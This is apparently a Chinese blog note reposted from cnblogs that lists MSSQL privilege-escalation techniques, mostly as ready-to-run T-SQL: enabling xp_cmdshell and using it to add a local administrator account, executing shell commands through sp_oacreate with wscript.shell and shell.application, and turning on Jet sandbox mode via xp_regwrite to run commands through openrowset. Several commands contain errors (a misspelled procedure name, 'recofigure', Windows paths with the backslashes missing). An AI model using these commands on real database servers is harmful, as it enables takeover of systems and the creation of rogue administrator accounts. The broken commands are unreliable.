MSSQL提权

之前对MSSQL提权了解较少,所以在这里记录一些关于这类提权的几种姿势

1.xp_cmdshell提权

存储过程为数据库提供了强大的功能,其类似UDF,在MSSQL中xp_cmdshell可谓臭名昭著了。MSSQL强大的存储过程也为黑客提供了遍历,在相应的权限下,攻击者可以利用不同的存储过程执行不同的高级功能,如增加MSSQL数据库用户,枚举文件目录等等。而这些系统存储过程中要数xp_cmdshell最强大,通过该存储过程可以在数据库服务器中执行任意系统命令。MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。

前提是必须获取SA用户的密码(SA用户具有最高权限)

在连接成功后在sql命令处执行:

exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'

就能成功的创建一个账户aaa并且加到管理员组:

如果执行sql语句不成功,首先检查判断xp_cmdshell是否存在: 

select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;

返回1是存在的

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。

开启xp_cmdshell:

EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1  //打开xp_cmdshell扩展
RECONFIGURE

关闭xp_cmdshell:

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure

提权:

exec master..xp_cmdshell 'net user test pinohd123. /add'    添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add'    添加test用户到管理员组

2.sp_oacreate提权

xp_cmdshell被删除的时候,考虑使用sp_oacreate

开启:

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;recofigure;

关闭:

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;

提权:

declare @shell int
exec sp_oacreate 'wscript.shell', @shell out
exec sp_method @shell, 'run' , null, 'c:windowssystem32cmd.exe c "net user test test /add" '
declare @shell int
exec sp_oacreate 'shell.application',@shell out
exec sp_oamethod @shell, 'shellexecute', null, 'cmd.exe', 'cmd /c net user test test /add', 'c:windowssystem32', '','1';

3.沙盒提权

什么是沙盒模式?

沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的.

利用条件:

1,Access可以调用VBS的函数,以System权限执行任意命令

2,Access执行这个命令是有条件的,需要一个开关被打开

3,这个开关在注册表里

4,SA是有权限写注册表的

5,用SA写注册表的权限打开那个开关

6,调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令

开启默认关闭的xp_regwrite存储过程:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1

利用jet.oledb执行系统命令添加系统账号:

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasdnary.mdb','select shell("whoami")')

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

原文地址:https://www.cnblogs.com/zzjdbk/p/14062775.html